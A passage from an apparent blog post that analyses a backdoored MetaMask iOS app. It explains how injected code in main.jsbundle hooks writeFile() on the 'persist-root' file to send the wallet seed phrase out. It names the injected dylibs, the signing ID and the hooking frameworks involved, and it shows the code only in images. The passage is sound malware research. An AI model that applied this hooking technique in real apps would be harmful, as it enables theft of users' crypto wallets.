React native app, meaning it can run on both iOS and Android. The first signs of backdoor code can be found at the <strong>main.jsbundle</strong>.</p><p>A conditional code block was added at the beginning of WriteFile() function. This code block is not present in the official metamask wallet:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SnbJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SnbJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 424w, https://substackcdn.com/image/fetch/$s_!SnbJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 848w, https://substackcdn.com/image/fetch/$s_!SnbJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 1272w, https://substackcdn.com/image/fetch/$s_!SnbJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SnbJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png" width="1000" height="398" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:398,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SnbJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 424w, https://substackcdn.com/image/fetch/$s_!SnbJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 848w, https://substackcdn.com/image/fetch/$s_!SnbJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 1272w, https://substackcdn.com/image/fetch/$s_!SnbJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3480a1a-0539-4f37-86de-9fff02695e60_1000x398.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">backdoor code injected inside main.jsbundle</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ht9L!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ht9L!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 424w, https://substackcdn.com/image/fetch/$s_!ht9L!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 848w, https://substackcdn.com/image/fetch/$s_!ht9L!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 1272w, https://substackcdn.com/image/fetch/$s_!ht9L!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ht9L!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png" width="1000" height="578" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:578,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ht9L!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 424w, https://substackcdn.com/image/fetch/$s_!ht9L!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 848w, https://substackcdn.com/image/fetch/$s_!ht9L!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 1272w, https://substackcdn.com/image/fetch/$s_!ht9L!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc79765bd-291b-4b67-9b79-ab9bf88334e6_1000x578.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">zoomed in backdoor code injected inside main.jsbundle</figcaption></figure></div><p>This conditional backdoor code will execute anytime <strong>writeFile()</strong> is called on a file whose path contains &#8220;persist-root&#8221;. If we look at where this file is located using a real iPhone, it is stored within the MetaMask app container, it is a configuration file, containing the seed phrase encrypted amongst other runtime configuration data. The file is specifically found at the following path:</p><pre><code>/private/var/mobile/Containers/Data/Application/{CONTAINER UID}/Documents/persistStore/persist-root</code></pre><p>This new information gives us a high-level understanding of when the backdoor code is called: right after the MetaMask seed-phrase is generated and about to be stored encrypted in the &#8220;persist-root&#8221; file. We confirmed this by installing MetaMask app on a real iOS device and indeed a network request with the seed phrase is sent right after the user confirms the seed phrase during the wallet&#8217;s first setup installation, which is pretty neat as a backdoor implementation, and completely invisible during the usage.</p><p>The only issue here is that the <strong>startupload()</strong> function highlighted above in the backdoor code, isn&#8217;t present in the <strong>main.jsbundle()</strong> and there are 0 references to this function in any javascript file or any linked .dylib file exported symbols.</p><h4>hunting for startupload()</h4><p>This step required reverse engineering and digging into some Arm64 assembly and low-level code as we will see. I will keep it brief to not confuse the readers, hopefully, it will make sense:</p><p>So I started looking at the MetaMask compiled Mach-O file, and noticed two injected .dylibs :</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BwTQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BwTQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 424w, https://substackcdn.com/image/fetch/$s_!BwTQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 848w, https://substackcdn.com/image/fetch/$s_!BwTQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 1272w, https://substackcdn.com/image/fetch/$s_!BwTQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BwTQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png" width="1000" height="182" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2238895b-f082-4427-b05a-44283058cc67_1000x182.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:182,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BwTQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 424w, https://substackcdn.com/image/fetch/$s_!BwTQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 848w, https://substackcdn.com/image/fetch/$s_!BwTQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 1272w, https://substackcdn.com/image/fetch/$s_!BwTQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2238895b-f082-4427-b05a-44283058cc67_1000x182.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">injected .dylib&#8217;s into MetaMask wallet iOS app</figcaption></figure></div><p><strong>libmetaDylib.dylib</strong> and <strong>mn.dylib</strong> seems to be good candidates as these are not supposed to be injected in the original MetaMask iOS Mach-O binary.</p><blockquote><p>TLDR; I am skipping the analysis of mn.dylib as this library is not relevant to the current backdoor as we will see later, so I didn&#8217;t spend time analyzing it much.</p></blockquote><p><strong>libmetaDylib.dylib </strong>was signed with developer ID iPhone Distribution: pl li <strong>(259JS6979T)</strong> and team-ID <strong>259JS6979T</strong></p><p><strong>libmetaDylib.dylib</strong> contains references to 3 known modding/hooking frameworks: Cycript, Cydia Susbtrate, and the Reveal Framework. This is already a red flag, meaning that something has been done to alter the runtime behavior of the app:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!e_7U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!e_7U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 424w, https://substackcdn.com/image/fetch/$s_!e_7U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 848w, https://substackcdn.com/image/fetch/$s_!e_7U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 1272w, https://substackcdn.com/image/fetch/$s_!e_7U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!e_7U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png" width="1000" height="178" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:178,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!e_7U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 424w, https://substackcdn.com/image/fetch/$s_!e_7U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 848w, https://substackcdn.com/image/fetch/$s_!e_7U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 1272w, https://substackcdn.com/image/fetch/$s_!e_7U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1ec2215b-a102-4283-a5c9-c5e3b53ee360_1000x178.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Cycript, Susbtrate and Reveal linked/injected with libmetaDylib.lib</figcaption></figure></div><p>I confirmed Reveal server running in the app container by connecting to it using Reveal app (newer versions of Reveal didn&#8217;t work, but got some luck with the version 14 10107, likely the version used by SeaFlower) :</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fbKR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fbKR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 424w, https://substackcdn.com/image/fetch/$s_!fbKR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 848w, https://substackcdn.com/image/fetch/$s_!fbKR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 1272w, https://substackcdn.com/image/fetch/$s_!fbKR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fbKR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png" width="500" height="750" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:750,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fbKR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 424w, https://substackcdn.com/image/fetch/$s_!fbKR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 848w, https://substackcdn.com/image/fetch/$s_!fbKR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 1272w, https://substackcdn.com/image/fetch/$s_!fbKR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89621b9d-dd81-4bba-8e91-9bd197b02f22_500x750.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bwLs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bwLs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 424w, https://substackcdn.com/image/fetch/$s_!bwLs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 848w, https://substackcdn.com/image/fetch/$s_!bwLs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 1272w, https://substackcdn.com/image/fetch/$s_!bwLs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bwLs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png" width="1250" height="777" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/64d84b9e-a965-41e1-967a-def420286728_1250x777.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:777,&quot;width&quot;:1250,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bwLs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 424w, https://substackcdn.com/image/fetch/$s_!bwLs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 848w, https://substackcdn.com/image/fetch/$s_!bwLs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 1272w, https://substackcdn.com/image/fetch/$s_!bwLs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F64d84b9e-a965-41e1-967a-def420286728_1250x777.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 